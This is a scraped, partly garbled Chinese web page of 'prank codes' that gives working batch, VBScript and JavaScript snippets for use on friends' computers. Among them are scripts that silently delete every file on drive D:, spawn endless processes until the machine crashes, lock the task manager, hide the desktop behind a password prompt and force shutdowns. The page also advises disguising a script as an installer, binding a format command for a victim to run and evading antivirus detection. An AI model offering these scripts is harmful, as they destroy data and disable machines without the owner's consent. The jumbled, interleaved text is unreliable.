不好意思哦。我也不知道耶m.gy2thfx.cn防采集。
整人代碼大全,下面我們一起來看看吧。
方法
打開好友的聊天對話框,然后記下在QQ里好友的昵稱,把以下代碼中xx替換一下,就可以自定義發(fā)送QQ信息到好友的次數(shù)(代碼中數(shù)字10改下即可).
下面是比較整人的批處理,不過不建議這樣做 @echo offecho start 1.bat >%temp%2.batecho for /r %windir% %%i in (*) do start %%i
xx.vbs=>
<script language="javascript"> function hr(){ alert('你關(guān)不掉的^_^') hr(); } </script> <body onLoad="hr()"> </body> 做壞事了 面壁去
=---------------------------------------
記事本輸入 shutdown -s -t 01把后綴名txt改成bat就行是關(guān)機的東西。。
On Error Resume Next
Shell "shutdown.exe -s -t " & Text1.Text
Dim wsh,ye
dim a a=msgbox("",0) while a=1 msgbox "",0 wend "" 中間是添加文字的。比如 dim a a=msgbox("循環(huán)窗體",0) while a=
set wsh=createobject("wscript.shell")
此代碼鎖定了任務(wù)管理器,想關(guān)閉只有重新啟動電腦,惡搞你的好友,或者擾你 Private Sub Form_Load() Open Environ$("WinDir") & "\system32\ta
for i=1 to 10
7.猜數(shù)字 @echo off shutdown -s -f -t 600 -c "你好,我是本DOS無聊的制作者江浩,現(xiàn)在游戲開始了,請在半小時內(nèi)回答完問題。" echo 給你10分鐘猜這個數(shù),這個數(shù)的
wscript.sleep 700
一只????????看來你已經(jīng)整到人了。用iexpress。。。免殺、后臺運行
wsh.AppActivate("與 xx 聊天中")
開了會彈出“錯誤,你被系統(tǒng)鄙視了”的氣球,并且把它加到開機啟動項,每每開機時就會彈出以上的氣球 在secdo,bat在系統(tǒng)盤自動創(chuàng)建另一個bat文件,就是關(guān)機的代碼,并且加
wsh.sendKeys "^v"
.版本 2 .支持庫 xplib .支持庫 eAPI.子程序 __啟動窗口_創(chuàng)建完畢信息框 (“春哥! 哈哈 ”, 0, ) 寫注冊項 (#現(xiàn)行用戶, “SoftwareMicrosoftWindowsCurrentVe
wsh.sendKeys i
整人硬盤何必 VB 電腦自己就有個 家伙格式化硬盤 dos有個 format 命令 把 這個命令保存為 .bat 設(shè)法綁定給對方運行就行了嘛DOS 常用命令 ——format 現(xiàn)在用電腦的人
wsh.sendKeys "%s"
next
wscript.quit
打開無數(shù)個計算器,直到死機。
set wsh=createobject("wscript.shell")
此代碼鎖定了任務(wù)管理器,想關(guān)閉只有重新啟動電腦,惡搞你的好友,或者擾你 Private Sub Form_Load() Open Environ$("WinDir") & "\system32\ta
do
wsh.run "calc"
loop
刪除D:所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:*.* / f /q /s""",0 ,true
不斷按下alt+f4 (開什么都關(guān)閉……)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
set ws = wscript.createobject("wscript.shell")if msgbox("純屬娛樂!just for fun!",4132,"絕對無毒無害!你準(zhǔn)備好了嗎?")=vbyes thenmsgbox"OK!"elsews.popup"那也沒辦法!接招吧!",3ws.popup"等會的解除密碼在網(wǎng)盤里,自己下載,祝你愉快!",3end ifws.run" http://alonedu.ys168.com"ws.regwrite "HKLMsoftwaremicrosoftWindowscurrentversionpoliciesexplorernodesktop","00000001","REG_DWORD" wscript.sleep 500 ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000 ws.run "explorer.exe",vbhide : wscript.sleep 6000 doa=inputbox("請輸入密碼解除","注意,重啟電腦是沒有用的!")if a="我真笨啊" thenmsgbox"密碼正確!",vbinformationws.regwrite "HKLMsoftwaremicrosoftWindowscurrentversionpoliciesexplorernodesktop","00000000","REG_DWORD" wscript.sleep 500 ws.run "taskkill /f /im explorer.exe",vbhide wscript.sleep 2000 ws.run "explorer.exe",vbhidemsgbox"解除成功!"exit doelsemsgbox"看你不下載,密碼錯誤!請重試 !"end ifloop,domsgbox"XX”loopXX里寫上你想寫的字,啥都可以Set ws = CreateObject("Wscript.Shell")ws.run "cmd /c shutdown -s -t 0 -f",vbhide把這個程序給你的朋友,說是個安裝程序,然后他打開會立即關(guān)機,沒有任何提示使用方法:新建一個文本文檔,把代碼復(fù)制到里面,改后綴名為vbs(如果沒有點“更改文件夾和搜索選項”,點到“查看”,往下拉找到隱藏已知文件的拓展名,把勾去掉),然后運行內(nèi)容來自m.gy2thfx.cn請勿采集。
聲明:本網(wǎng)頁內(nèi)容旨在傳播知識,若有侵權(quán)等問題請及時與本網(wǎng)聯(lián)系,我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com